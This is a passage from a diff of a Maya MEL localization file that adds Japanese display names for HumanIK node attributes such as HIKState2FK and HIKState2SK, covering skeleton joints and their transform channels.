"LeafRightLegRoll5GX", "右脚ロール 5 の GX 可動部" ); +setAttrNiceNameResource( "HIKFK2State", "LeafLeftArmRoll5GX", "左腕ロール 5 の GX 可動部" ); +setAttrNiceNameResource( "HIKFK2State", "LeafLeftForeArmRoll5GX", "左前腕ロール 5 の GX 可動部" ); +setAttrNiceNameResource( "HIKFK2State", "LeafRightArmRoll5GX", "右腕ロール 5 の GX 可動部" ); +setAttrNiceNameResource( "HIKFK2State", "LeafRightForeArmRoll5GX", "右前腕ロール 5 の GX 可動部" ); +setAttrNiceNameResource( "HIKFK2State", "fza", "フリーズの影響を受ける" ); +// +// Node: HIKState2FK +// +setNodeNiceNameResource( "HIKState2FK", "HIKState 2FK" ); +setAttrNiceNameResource( "HIKState2FK", "fzn", "フリーズ" ); +setAttrNiceNameResource( "HIKState2FK", "InputCharacterState", "入力キャラクタの状態" ); +setAttrNiceNameResource( "HIKState2FK", "InputCharacterDefinition", "入力キャラクタ定義" ); +setAttrNiceNameResource( "HIKState2FK", "ReferenceGX", "リファレンスの GX" ); +setAttrNiceNameResource( "HIKState2FK", "HipsGX", "ヒップの GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftUpLegGX", "左大腿部の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftLegGX", "左脚の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootGX", "左足の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightUpLegGX", "右大腿部の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightLegGX", "右脚の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootGX", "右足の GX" ); +setAttrNiceNameResource( "HIKState2FK", "SpineGX", "脊椎の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftArmGX", "左腕の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftForeArmGX", "左前腕の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandGX", "左手の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightArmGX", "右腕の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightForeArmGX", "右前腕の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandGX", "右手の GX" ); +setAttrNiceNameResource( "HIKState2FK", "HeadGX", "頭の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftToeBaseGX", "左足指のベースの GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightToeBaseGX", "右足指のベースの GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftShoulderGX", "左肩の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightShoulderGX", "右肩の GX" ); +setAttrNiceNameResource( "HIKState2FK", "NeckGX", "首の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFingerBaseGX", "左指のベースの GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFingerBaseGX", "右指のベースの GX" ); +setAttrNiceNameResource( "HIKState2FK", "Spine1GX", "脊椎 1 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "Spine2GX", "脊椎 2 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "Spine3GX", "脊椎 3 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "Spine4GX", "脊椎 4 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "Spine5GX", "脊椎 5 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "Spine6GX", "脊椎 6 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "Spine7GX", "脊椎 7 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "Spine8GX", "脊椎 8 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "Spine9GX", "脊椎 9 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "Neck1GX", "首 1 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "Neck2GX", "首 2 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "Neck3GX", "首 3 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "Neck4GX", "首 4 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "Neck5GX", "首 5 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "Neck6GX", "首 6 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "Neck7GX", "首 7 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "Neck8GX", "首 8 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "Neck9GX", "首 9 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftUpLegRollGX", "左大腿部ロールの GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftLegRollGX", "左脚ロールの GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightUpLegRollGX", "右大腿部ロールの GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightLegRollGX", "右脚ロールの GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftArmRollGX", "左腕のロールの GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftForeArmRollGX", "左前腕のロールの GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightArmRollGX", "右腕のロールの GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightForeArmRollGX", "右前腕のロールの GX" ); +setAttrNiceNameResource( "HIKState2FK", "HipsTranslationGX", "ヒップの移動の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandThumb1GX", "左手親指 1 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandThumb2GX", "左手親指 2 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandThumb3GX", "左手親指 3 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandThumb4GX", "左手親指 4 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandIndex1GX", "左手人差指 1 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandIndex2GX", "左手人差指 2 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandIndex3GX", "左手人差指 3 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandIndex4GX", "左手人差指 4 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandMiddle1GX", "左手中指 1 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandMiddle2GX", "左手中指 2 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandMiddle3GX", "左手中指 3 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandMiddle4GX", "左手中指 4 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandRing1GX", "左手薬指 1 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandRing2GX", "左手薬指 2 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandRing3GX", "左手薬指 3 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandRing4GX", "左手薬指 4 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandPinky1GX", "左手小指 1 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandPinky2GX", "左手小指 2 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandPinky3GX", "左手小指 3 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandPinky4GX", "左手小指 4 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandExtraFinger1GX", "左手追加指 1 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandExtraFinger2GX", "左手追加指 2 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandExtraFinger3GX", "左手追加指 3 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftHandExtraFinger4GX", "左手追加指 4 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandThumb1GX", "右手親指 1 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandThumb2GX", "右手親指 2 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandThumb3GX", "右手親指 3 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandThumb4GX", "右手親指 4 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandIndex1GX", "右手人差指 1 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandIndex2GX", "右手人差指 2 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandIndex3GX", "右手人差指 3 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandIndex4GX", "右手人差指 4 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandMiddle1GX", "右手中指 1 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandMiddle2GX", "右手中指 2 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandMiddle3GX", "右手中指 3 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandMiddle4GX", "右手中指 4 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandRing1GX", "右手薬指 1 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandRing2GX", "右手薬指 2 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandRing3GX", "右手薬指 3 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandRing4GX", "右手薬指 4 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandPinky1GX", "右手小指 1 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandPinky2GX", "右手小指 2 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandPinky3GX", "右手小指 3 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandPinky4GX", "右手小指 4 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandExtraFinger1GX", "右手追加指 1 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandExtraFinger2GX", "右手追加指 2 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandExtraFinger3GX", "右手追加指 3 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightHandExtraFinger4GX", "右手追加指 4 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootThumb1GX", "左足親指 1 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootThumb2GX", "左足親指 2 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootThumb3GX", "左足親指 3 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootThumb4GX", "左足親指 4 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootIndex1GX", "左足人差指 1 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootIndex2GX", "左足人差指 2 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootIndex3GX", "左足人差指 3 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootIndex4GX", "左足人差指 4 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootMiddle1GX", "左足中指 1 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootMiddle2GX", "左足中指 2 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootMiddle3GX", "左足中指 3 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootMiddle4GX", "左足中指 4 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootRing1GX", "左足薬指 1 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootRing2GX", "左足薬指 2 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootRing3GX", "左足薬指 3 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootRing4GX", "左足薬指 4 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootPinky1GX", "左足小指 1 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootPinky2GX", "左足小指 2 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootPinky3GX", "左足小指 3 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootPinky4GX", "左足小指 4 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootExtraFinger1GX", "左足追加指 1 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootExtraFinger2GX", "左足追加指 2 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootExtraFinger3GX", "左足追加指 3 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftFootExtraFinger4GX", "左足追加指 4 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootThumb1GX", "右足親指 1 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootThumb2GX", "右足親指 2 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootThumb3GX", "右足親指 3 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootThumb4GX", "右足親指 4 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootIndex1GX", "右足人差指 1 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootIndex2GX", "右足人差指 2 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootIndex3GX", "右足人差指 3 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootIndex4GX", "右足人差指 4 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootMiddle1GX", "右足中指 1 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootMiddle2GX", "右足中指 2 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootMiddle3GX", "右足中指 3 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootMiddle4GX", "右足中指 4 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootRing1GX", "右足薬指 1 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootRing2GX", "右足薬指 2 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootRing3GX", "右足薬指 3 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootRing4GX", "右足薬指 4 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootPinky1GX", "右足小指 1 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootPinky2GX", "右足小指 2 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootPinky3GX", "右足小指 3 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootPinky4GX", "右足小指 4 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootExtraFinger1GX", "右足追加指 1 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootExtraFinger2GX", "右足追加指 2 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootExtraFinger3GX", "右足追加指 3 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightFootExtraFinger4GX", "右足追加指 4 の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftInHandThumbGX", "左手内側の親指の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftInHandIndexGX", "左手内側の人差指の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftInHandMiddleGX", "左手内側の中指の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftInHandRingGX", "左手内側の薬指の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftInHandPinkyGX", "左手内側の小指の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftInHandExtraFingerGX", "左手内側の追加指の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightInHandThumbGX", "右手内側の親指の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightInHandIndexGX", "右手内側の人差指の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightInHandMiddleGX", "右手内側の中指の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightInHandRingGX", "右手内側の薬指の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightInHandPinkyGX", "右手内側の小指の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightInHandExtraFingerGX", "右手内側の追加指の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftInFootThumbGX", "左足内側の親指の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftInFootIndexGX", "左足内側の人差指の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftInFootMiddleGX", "左足内側の中指の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftInFootRingGX", "左足内側の薬指の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftInFootPinkyGX", "左足内側の小指の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftInFootExtraFingerGX", "左足内側の追加指の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightInFootThumbGX", "右足内側の親指の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightInFootIndexGX", "右足内側の人差指の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightInFootMiddleGX", "右足内側の中指の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightInFootRingGX", "右足内側の薬指の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightInFootPinkyGX", "右足内側の小指の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightInFootExtraFingerGX", "右足内側の追加指の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeftShoulderExtraGX", "追加の左肩の GX" ); +setAttrNiceNameResource( "HIKState2FK", "RightShoulderExtraGX", "追加の右肩の GX" ); +setAttrNiceNameResource( "HIKState2FK", "LeafLeftUpLegRoll1GX", "左大腿部ロール 1 GX 可動部" ); +setAttrNiceNameResource( "HIKState2FK", "LeafLeftLegRoll1GX", "左脚ロール 1 GX 可動部" ); +setAttrNiceNameResource( "HIKState2FK", "LeafRightUpLegRoll1GX", "右大腿部ロール 1 GX 可動部" ); +setAttrNiceNameResource( "HIKState2FK", "LeafRightLegRoll1GX", "右脚ロール 1 GX 可動部" ); +setAttrNiceNameResource( "HIKState2FK", "LeafLeftArmRoll1GX", "左腕ロール 1 GX 可動部" ); +setAttrNiceNameResource( "HIKState2FK", "LeafLeftForeArmRoll1GX", "左前腕ロール 1 GX 可動部" ); +setAttrNiceNameResource( "HIKState2FK", "LeafRightArmRoll1GX", "右腕ロール 1 GX 可動部" ); +setAttrNiceNameResource( "HIKState2FK", "LeafRightForeArmRoll1GX", "右前腕ロール 1 GX 可動部" ); +setAttrNiceNameResource( "HIKState2FK", "LeafLeftUpLegRoll2GX", "左大腿部ロール 2 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2FK", "LeafLeftLegRoll2GX", "左脚ロール 2 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2FK", "LeafRightUpLegRoll2GX", "右大腿部ロール 2 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2FK", "LeafRightLegRoll2GX", "右脚ロール 2 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2FK", "LeafLeftArmRoll2GX", "左腕ロール 2 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2FK", "LeafLeftForeArmRoll2GX", "左前腕ロール 2 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2FK", "LeafRightArmRoll2GX", "右腕ロール 2 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2FK", "LeafRightForeArmRoll2GX", "右前腕ロール 2 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2FK", "LeafLeftUpLegRoll3GX", "左大腿部ロール 3 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2FK", "LeafLeftLegRoll3GX", "左脚ロール 3 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2FK", "LeafRightUpLegRoll3GX", "右大腿部ロール 3 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2FK", "LeafRightLegRoll3GX", "右脚ロール 3 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2FK", "LeafLeftArmRoll3GX", "左腕ロール 3 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2FK", "LeafLeftForeArmRoll3GX", "左前腕ロール 3 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2FK", "LeafRightArmRoll3GX", "右腕ロール 3 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2FK", "LeafRightForeArmRoll3GX", "右前腕ロール 3 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2FK", "LeafLeftUpLegRoll4GX", "左大腿部ロール 4 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2FK", "LeafLeftLegRoll4GX", "左脚ロール 4 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2FK", "LeafRightUpLegRoll4GX", "右大腿部ロール 4 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2FK", "LeafRightLegRoll4GX", "右脚ロール 4 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2FK", "LeafLeftArmRoll4GX", "左腕ロール 4 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2FK", "LeafLeftForeArmRoll4GX", "左前腕ロール 4 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2FK", "LeafRightArmRoll4GX", "右腕ロール 4 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2FK", "LeafRightForeArmRoll4GX", "右前腕ロール 4 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2FK", "LeafLeftUpLegRoll5GX", "左大腿部ロール 5 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2FK", "LeafLeftLegRoll5GX", "左脚ロール 5 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2FK", "LeafRightUpLegRoll5GX", "右大腿部ロール 5 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2FK", "LeafRightLegRoll5GX", "右脚ロール 5 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2FK", "LeafLeftArmRoll5GX", "左腕ロール 5 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2FK", "LeafLeftForeArmRoll5GX", "左前腕ロール 5 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2FK", "LeafRightArmRoll5GX", "右腕ロール 5 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2FK", "LeafRightForeArmRoll5GX", "右前腕ロール 5 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2FK", "fza", "フリーズの影響を受ける" ); +// +// Node: HIKState2SK +// +setNodeNiceNameResource( "HIKState2SK", "HIKState 2SK" ); +setAttrNiceNameResource( "HIKState2SK", "fzn", "フリーズ" ); +setAttrNiceNameResource( "HIKState2SK", "InputCharacterState", "入力キャラクタの状態" ); +setAttrNiceNameResource( "HIKState2SK", "InputCharacterDefinition", "入力キャラクタ定義" ); +setAttrNiceNameResource( "HIKState2SK", "ReferenceT", "リファレンス T" ); +setAttrNiceNameResource( "HIKState2SK", "ReferenceTx", "リファレンス Tx" ); +setAttrNiceNameResource( "HIKState2SK", "ReferenceTy", "リファレンス Ty" ); +setAttrNiceNameResource( "HIKState2SK", "ReferenceTz", "リファレンス Tz" ); +setAttrNiceNameResource( "HIKState2SK", "ReferenceR", "リファレンス R" ); +setAttrNiceNameResource( "HIKState2SK", "ReferenceRx", "リファレンス Rx" ); +setAttrNiceNameResource( "HIKState2SK", "ReferenceRy", "リファレンス Ry" ); +setAttrNiceNameResource( "HIKState2SK", "ReferenceRz", "リファレンス Rz" ); +setAttrNiceNameResource( "HIKState2SK", "ReferenceS", "リファレンス S" ); +setAttrNiceNameResource( "HIKState2SK", "ReferenceSx", "リファレンス Sx" ); +setAttrNiceNameResource( "HIKState2SK", "ReferenceSy", "リファレンス Sy" ); +setAttrNiceNameResource( "HIKState2SK", "ReferenceSz", "リファレンス Sz" ); +setAttrNiceNameResource( "HIKState2SK", "ReferencePGX", "リファレンスの PGX" ); +setAttrNiceNameResource( "HIKState2SK", "ReferenceROrder", "リファレンスの回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "ReferenceSC", "リファレンス SC" ); +setAttrNiceNameResource( "HIKState2SK", "ReferenceIS", "リファレンス IS" ); +setAttrNiceNameResource( "HIKState2SK", "ReferenceISx", "リファレンス ISx" ); +setAttrNiceNameResource( "HIKState2SK", "ReferenceISy", "リファレンス ISy" ); +setAttrNiceNameResource( "HIKState2SK", "ReferenceISz", "リファレンス ISz" ); +setAttrNiceNameResource( "HIKState2SK", "ReferencePreR", "リファレンスのプリR" ); +setAttrNiceNameResource( "HIKState2SK", "ReferencePreRx", "リファレンスのプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "ReferencePreRy", "リファレンスのプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "ReferencePreRz", "リファレンスのプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "ReferencePostR", "リファレンスのポストR" ); +setAttrNiceNameResource( "HIKState2SK", "ReferencePostRx", "リファレンスのポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "ReferencePostRy", "リファレンスのポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "ReferencePostRz", "リファレンスのポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "HipsT", "ヒップ T" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTx", "ヒップ Tx" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTy", "ヒップ Ty" ); +setAttrNiceNameResource( "HIKState2SK", "HipsTz", "ヒップ Tz" ); +setAttrNiceNameResource( "HIKState2SK", "HipsR", "ヒップ R" ); +setAttrNiceNameResource( "HIKState2SK", "HipsRx", "ヒップ Rx" ); +setAttrNiceNameResource( "HIKState2SK", "HipsRy", "ヒップ Ry" ); +setAttrNiceNameResource( "HIKState2SK", "HipsRz", "ヒップ Rz" ); +setAttrNiceNameResource( "HIKState2SK", "HipsS", "ヒップ S" ); +setAttrNiceNameResource( "HIKState2SK", "HipsSx", "ヒップ Sx" ); +setAttrNiceNameResource( "HIKState2SK", "HipsSy", "ヒップ Sy" ); +setAttrNiceNameResource( "HIKState2SK", "HipsSz", "ヒップ Sz" ); +setAttrNiceNameResource( "HIKState2SK", "HipsPGX", "ヒップの PGX" ); +setAttrNiceNameResource( "HIKState2SK", "HipsROrder", "ヒップの回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "HipsSC", "ヒップ SC" ); +setAttrNiceNameResource( "HIKState2SK", "HipsIS", "ヒップ IS" ); +setAttrNiceNameResource( "HIKState2SK", "HipsISx", "ヒップ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "HipsISy", "ヒップ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "HipsISz", "ヒップ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "HipsPreR", "ヒップのプリR" ); +setAttrNiceNameResource( "HIKState2SK", "HipsPreRx", "ヒップのプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "HipsPreRy", "ヒップのプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "HipsPreRz", "ヒップのプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "HipsPostR", "ヒップのポストR" ); +setAttrNiceNameResource( "HIKState2SK", "HipsPostRx", "ヒップのポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "HipsPostRy", "ヒップのポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "HipsPostRz", "ヒップのポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegT", "左大腿部 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegTx", "左大腿部 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegTy", "左大腿部 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegTz", "左大腿部 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegR", "左大腿部 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRx", "左大腿部 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRy", "左大腿部 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRz", "左大腿部 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegS", "左大腿部 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegSx", "左大腿部 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegSy", "左大腿部 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegSz", "左大腿部 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegPGX", "左大腿部の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegROrder", "左大腿部の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegSC", "左大腿部 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegIS", "左大腿部 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegISx", "左大腿部 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegISy", "左大腿部 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegISz", "左大腿部 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegPreR", "左大腿部のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegPreRx", "左大腿部のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegPreRy", "左大腿部のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegPreRz", "左大腿部のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegPostR", "左大腿部のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegPostRx", "左大腿部のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegPostRy", "左大腿部のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegPostRz", "左大腿部のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegT", "左脚 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegTx", "左脚 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegTy", "左脚 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegTz", "左脚 Tz" ); +setAttrNiceNameResource( 